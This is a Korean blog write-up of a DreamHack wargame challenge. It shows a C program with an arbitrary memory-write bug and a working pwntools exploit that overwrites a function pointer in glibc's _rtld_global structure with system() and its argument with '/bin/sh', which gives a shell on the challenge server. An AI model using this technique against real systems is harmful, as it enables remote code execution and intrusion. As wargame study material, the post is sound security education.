Recent Posts
Recent Comments
Link
«   2025/02   »
1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] AD: stage4_문제풀이(Overwrite _rtld_global) 본문

Hack/DreamHack(로드맵)

[System_Hacking] AD: stage4_문제풀이(Overwrite _rtld_global)

CIDY 2022. 7. 14. 02:27
// Name: ow_rtld.c
// Compile: gcc -o ow_rtld ow_rtld.c
// 64-bit, canary, nx, pie, full relro

#include <stdio.h>
#include <stdlib.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  long addr;
  long data;
  int idx;

  init();

  printf("stdout: %p\n", stdout);
  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("addr: ");
        scanf("%ld", &addr);
        printf("data: ");
        scanf("%ld", &data);
        *(long long *)addr = data;
        break;
      default:
      	return 0;
    }
  }
  return 0;
}

 

보호기법이 싹 걸려있다. 그래도 그만큼 세팅도 잘 해줬다. 일단 주소를 잘 출력해주니 뭐 이것저것 해보기는 좋게 생겼다. 그리고 주소에 든 데이터를 바꾸기도 좋게 생겼으니 그때 말했던 함수 포인터인 _dl_rtld_lock_recursive의 주소를 알면 걔를 system으로 덮어버리면 될 것 같다. 그리고 _dl_rtld_lock_recursive는 인자로 dl_load_lock을 받으니까 거기 /bin/sh를 해주면 된다. while문을 쓰고 있으니 계속해서 원하는 주소를 덮을 수 있다.

 

근데 아무리 봐도 릭해준 주소를 이용해 뭘 구하라는 것 같은데, libc파일을 제공해주지 않았다. 조만간 꼭 도커파일 사용법 알아낸다...

 

 

일단 로컬기준으로 하는 중이다. ld파일과 libc파일의 오프셋은 

 

 

음 0x204000이다.

 

아 그리고 ld는 심볼로 _rtld_global구조체 변수의 주소를 찾은 뒤에 각 멤버의 오프셋을 구해야 한다. 

 

 

오 gdb에서 친절하게 오프셋을 출력해준다.

 

 

여기까진 좋았다. 그런데 원격에서는 완전히 환경이 다르기 때문에 ld오프셋과 libc오프셋, 그리고 구조체 내부의 오프셋까지 모두 찍어맞추기란 무리였다.

 

from pwn import *

r = remote('host3.dreamhack.games', 20791)

r.recvuntil(b'stdout: 0x')
stdout = int(r.recvline()[:-1], 16)  
libc = stdout - 0x3ec760 
print(hex(libc))
system = libc + 0x4f550 
ld = libc + 0x3f1000 
rtld_global = ld + 0x22a060  

r.sendlineafter(b"> ", b"1")
r.sendlineafter(b'addr: ', str(rtld_global + 2312))
r.sendlineafter(b'data: ', str(u64(b"/bin/sh\x00")))


r.sendlineafter(b"> ", b"1")
r.sendlineafter(b'addr: ', str(rtld_global + 3840))
r.sendlineafter(b'data: ', str(system))

r.sendlineafter(b"> ", b"2")

r.interactive()

 

어떻게 잘 때려맞췄다. 로컬과 숫자가 크게 다르지 않아 드림핵 풀이와..이것저것 참고해서 오프셋을 찾아줬다. 조만간 도커파일을 쓰든, 우분투 16.04를 설치하든 해야겠다.